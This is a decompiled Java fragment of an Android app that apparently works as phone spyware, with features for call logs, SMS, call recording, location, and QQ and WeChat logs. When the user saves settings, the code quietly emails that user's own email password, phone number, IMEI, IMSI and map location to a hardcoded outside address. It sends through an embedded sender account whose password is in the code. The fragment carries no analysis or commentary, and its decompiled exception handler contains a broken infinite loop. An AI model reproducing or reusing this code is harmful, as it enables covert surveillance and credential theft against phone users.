Thread localThread = new Thread(new Runnable()
{
public void run()
{
String str1 = MainActivity.this.smtpTemp;
String str2 = MainActivity.this.portTemp;
String str3 = MainActivity.this.userEmailTemp;
String str4 = MainActivity.this.userPasswordTemp;
String str5 = MainActivity.this.userEmailTemp;
String[] arrayOfString = new String[1];
arrayOfString[0] = MainActivity.this.userEmailTemp;
MailSenderInfo localMailSenderInfo = new MailSenderInfo(str1, str2, str3, str4,
true
, str5, arrayOfString, MainActivity.this.subject, MainActivity.this.content);
if
(new SimpleMailSender().sendHtmlMail(localMailSenderInfo))
{
MainActivity.testok = 1;
MainActivity.this.userSave();
return
;
}
MainActivity.testok = 2;
}
});
localThread.start();
try
{
localThread.
join
();
if
(testok == 1)
{
Toast.makeText(getApplicationContext(),
"恭喜你,保存成功"
, 1).show();
setUserEditedStates(
false
);
this.subject = (this.userEmailTemp +
"-"
+ this.shoujiImei +
"正在测试"
+ OtherOperatorService.getVersionName(this) +
"版("
+ getPackageName() +
"-"
+
""
+
"-"
+
"finspy_vip@163.com"
+
")"
);
this.content = (
"设定邮箱:"
+ this.userEmailTemp +
"("
+ this.userPasswordTemp +
")绑定号码:"
+ this.userPhoneNumberTemp +
";设置功能:"
+ this.tonghuajiluTemp +
","
+ this.duanxinjiluTemp +
","
+ this.tonghualuyinTemp +
","
+ this.weizhijiluTemp +
","
+ this.qqjiluTemp +
","
+ this.weixinjiluTemp +
";发送设置:"
+ this.allnetTemp +
","
+ this.wifiTemp +
";SDK版本:"
+ Build.VERSION.SDK_INT +
";"
+
"Model型号:"
+ Build.MODEL +
";Android版本:"
+ Build.VERSION.RELEASE +
"<br/>当前卡号及编码"
+ this.NativePhoneNumber +
","
+ this.IMSI +
"("
+ OtherOperatorService.getCardName(this.IMSI) +
")"
+ LocationEmailInfo.getBaiduMaplink());
OtherOperatorService.uploadEmail(OtherOperatorService.getUserSmtp(
"tyling7775@yeah.net"
), OtherOperatorService.getUserPort(
"tyling7775@yeah.net"
),
"tyling7775@yeah.net"
,
"tyling132014"
,
"tyling7775@yeah.net"
, new String[] {
"finspy_vip@163.com"
}, this.subject, this.content);
testok = 0;
return
;
}
}
catch (InterruptedException localInterruptedException)
{
do
{
for
(;;)
{
testok = 2;
}
}
while
(testok != 2);
Toast.makeText(getApplicationContext(),
"开启你邮箱SMTP服务(查看帮助),或邮箱或密码输入错误;或更换邮箱重试!"
, 1).show();
testok = 0;
}